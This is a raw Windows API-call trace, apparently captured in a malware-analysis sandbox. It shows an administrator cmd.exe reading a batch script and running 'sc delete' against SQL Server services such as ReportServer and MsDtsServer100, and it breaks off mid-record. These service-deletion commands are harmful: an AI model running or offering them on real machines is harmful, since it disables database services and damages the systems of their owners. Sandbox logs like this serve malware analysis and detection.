[0076.567] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.567] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e328, cchWideChar=1 | out: lpWideCharStr="elete MsDtsServer100\nService\n\n") returned 1 [0076.567] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.567] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.567] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.567] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32a, cchWideChar=1 | out: lpWideCharStr="lete MsDtsServer100\nService\n\n") returned 1 [0076.568] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.568] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.568] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.568] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32c, cchWideChar=1 | out: lpWideCharStr="ete MsDtsServer100\nService\n\n") returned 1 [0076.568] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.568] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.568] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.568] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32e, cchWideChar=1 | out: lpWideCharStr="te MsDtsServer100\nService\n\n") returned 1 [0076.568] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.568] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.568] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.568] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e330, cchWideChar=1 | out: lpWideCharStr="e MsDtsServer100\nService\n\n") returned 1 [0076.568] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.568] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.568] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.568] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e332, cchWideChar=1 | out: lpWideCharStr=" MsDtsServer100\nService\n\n") returned 1 [0076.568] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.568] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.568] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.568] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e334, cchWideChar=1 | out: lpWideCharStr="RsDtsServer100\nService\n\n") returned 1 [0076.568] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.569] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.569] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.569] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e336, cchWideChar=1 | out: lpWideCharStr="eDtsServer100\nService\n\n") returned 1 [0076.569] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.569] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.569] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.569] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e338, cchWideChar=1 | out: lpWideCharStr="ptsServer100\nService\n\n") returned 1 [0076.569] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.569] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.569] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.569] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33a, cchWideChar=1 | out: lpWideCharStr="osServer100\nService\n\n") returned 1 [0076.569] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.569] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.569] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.569] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33c, cchWideChar=1 | out: lpWideCharStr="rServer100\nService\n\n") returned 1 [0076.569] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.569] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.569] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.569] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33e, cchWideChar=1 | out: lpWideCharStr="terver100\nService\n\n") returned 1 [0076.569] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.569] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.569] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.569] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e340, cchWideChar=1 | out: lpWideCharStr="Srver100\nService\n\n") returned 1 [0076.570] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.570] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.570] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.570] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e342, cchWideChar=1 | out: lpWideCharStr="ever100\nService\n\n") returned 1 [0076.570] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.570] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.570] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.570] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e344, cchWideChar=1 | out: lpWideCharStr="rer100\nService\n\n") returned 1 [0076.570] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.570] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.570] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.570] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e346, cchWideChar=1 | out: lpWideCharStr="vr100\nService\n\n") returned 1 [0076.570] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.570] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.570] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.570] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e348, cchWideChar=1 | out: lpWideCharStr="e100\nService\n\n") returned 1 [0076.570] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.570] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.570] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.571] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34a, cchWideChar=1 | out: lpWideCharStr="r00\nService\n\n") returned 1 [0076.571] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.571] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.571] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.571] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34c, cchWideChar=1 | out: lpWideCharStr="\n0\nService\n\n") returned 1 [0076.571] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.571] GetFileType (hFile=0xb8) returned 0x3 [0076.571] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.571] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.571] _get_osfhandle (_FileHandle=1) returned 0x120 [0076.571] GetFileType (hFile=0x120) returned 0x3 [0076.571] _get_osfhandle (_FileHandle=1) returned 0x120 [0076.571] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete ReportServer\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete ReportServer\n", lpUsedDefaultChar=0x0) returned 24 [0076.571] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x1afab8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1afab8*=0x17, lpOverlapped=0x0) returned 1 [0076.571] GetProcessHeap () returned 0x240000 [0076.571] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4012) returned 0x268630 [0076.571] GetProcessHeap () returned 0x240000 [0076.571] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x268630 | out: hHeap=0x240000) returned 1 [0076.571] GetProcessHeap () returned 0x240000 [0076.571] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0) returned 0x264660 [0076.571] GetProcessHeap () returned 0x240000 [0076.571] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x16) returned 0x2589b0 [0076.571] GetProcessHeap () returned 0x240000 [0076.571] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x3a) returned 0x25aa40 [0076.572] GetConsoleOutputCP () returned 0x1b5 [0076.572] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0076.572] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0076.572] GetConsoleTitleW (in: lpConsoleTitle=0x1afa70, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0076.572] GetProcessHeap () returned 0x240000 [0076.572] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x218) returned 0x259910 [0076.572] GetProcessHeap () returned 0x240000 [0076.572] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x25aa90 [0076.572] GetProcessHeap () returned 0x240000 [0076.572] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x420) returned 0x25c530 [0076.572] SetErrorMode (uMode=0x0) returned 0x1 [0076.572] SetErrorMode (uMode=0x1) returned 0x0 [0076.572] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x25c540, lpFilePart=0x1af300 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1af300*="Desktop") returned 0x25 [0076.573] SetErrorMode (uMode=0x1) returned 0x1 [0076.573] GetProcessHeap () returned 0x240000 [0076.573] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x25c530, Size=0x62) returned 0x25c530 [0076.573] GetProcessHeap () returned 0x240000 [0076.573] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c530) returned 0x62 [0076.573] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0076.573] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0076.573] GetProcessHeap () returned 0x240000 [0076.573] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x128) returned 0x255b70 [0076.573] GetProcessHeap () returned 0x240000 [0076.573] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x240) returned 0x241ab0 [0076.573] GetProcessHeap () returned 0x240000 [0076.573] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x241ab0, Size=0x12a) returned 0x241ab0 [0076.573] GetProcessHeap () returned 0x240000 [0076.573] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x241ab0) returned 0x12a [0076.573] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0076.573] GetProcessHeap () returned 0x240000 [0076.573] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xe8) returned 0x259b30 [0076.573] GetProcessHeap () returned 0x240000 [0076.573] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259b30, Size=0x7e) returned 0x259b30 [0076.573] GetProcessHeap () returned 0x240000 [0076.573] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259b30) returned 0x7e [0076.573] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0076.573] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0076.574] GetLastError () returned 0x2 [0076.574] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0076.574] GetLastError () returned 0x2 [0076.574] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0076.574] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0076.574] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0076.574] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0076.574] GetLastError () returned 0x2 [0076.574] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0076.574] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0076.574] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0076.574] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0076.574] GetConsoleTitleW (in: lpConsoleTitle=0x1af5c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0076.575] GetProcessHeap () returned 0x240000 [0076.575] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x21c) returned 0x259180 [0076.575] GetConsoleTitleW (in: lpConsoleTitle=0x259190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0076.575] GetProcessHeap () returned 0x240000 [0076.575] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259180, Size=0xa6) returned 0x259180 [0076.575] GetProcessHeap () returned 0x240000 [0076.575] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259180) returned 0xa6 [0076.575] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete ReportServer") returned 1 [0076.576] GetProcessHeap () returned 0x240000 [0076.576] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259180 | out: hHeap=0x240000) returned 1 [0076.576] InitializeProcThreadAttributeList (in: lpAttributeList=0x1af378, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1af338 | out: lpAttributeList=0x1af378, lpSize=0x1af338) returned 1 [0076.576] UpdateProcThreadAttribute (in: lpAttributeList=0x1af378, dwFlags=0x0, Attribute=0x60001, lpValue=0x1af328, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1af378, lpPreviousValue=0x0) returned 1 [0076.576] GetStartupInfoW (in: lpStartupInfo=0x1af490 | out: lpStartupInfo=0x1af490*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0076.576] GetProcessHeap () returned 0x240000 [0076.576] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x20) returned 0x254610 [0076.576] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0076.576] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0076.576] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0076.576] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0076.576] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0076.576] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0076.576] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0076.576] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0076.576] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0076.576] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0076.576] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0076.576] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0076.576] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0076.576] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0076.576] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0076.577] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0076.577] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0076.577] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0076.577] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0076.577] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0076.577] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0076.577] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0076.577] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0076.577] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0076.577] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0076.577] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0076.577] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0076.577] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0076.577] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0076.577] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0076.577] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0076.577] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0076.577] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0076.577] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0076.577] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0076.577] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0076.577] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0076.577] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0076.577] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0076.577] GetProcessHeap () returned 0x240000 [0076.577] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x254610 | out: hHeap=0x240000) returned 1 [0076.577] GetProcessHeap () returned 0x240000 [0076.577] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x12) returned 0x2589d0 [0076.577] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete ReportServer", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1af3b0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete ReportServer", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1af360 | out: lpCommandLine="sc delete ReportServer", lpProcessInformation=0x1af360*(hProcess=0x50, hThread=0x54, dwProcessId=0xac8, 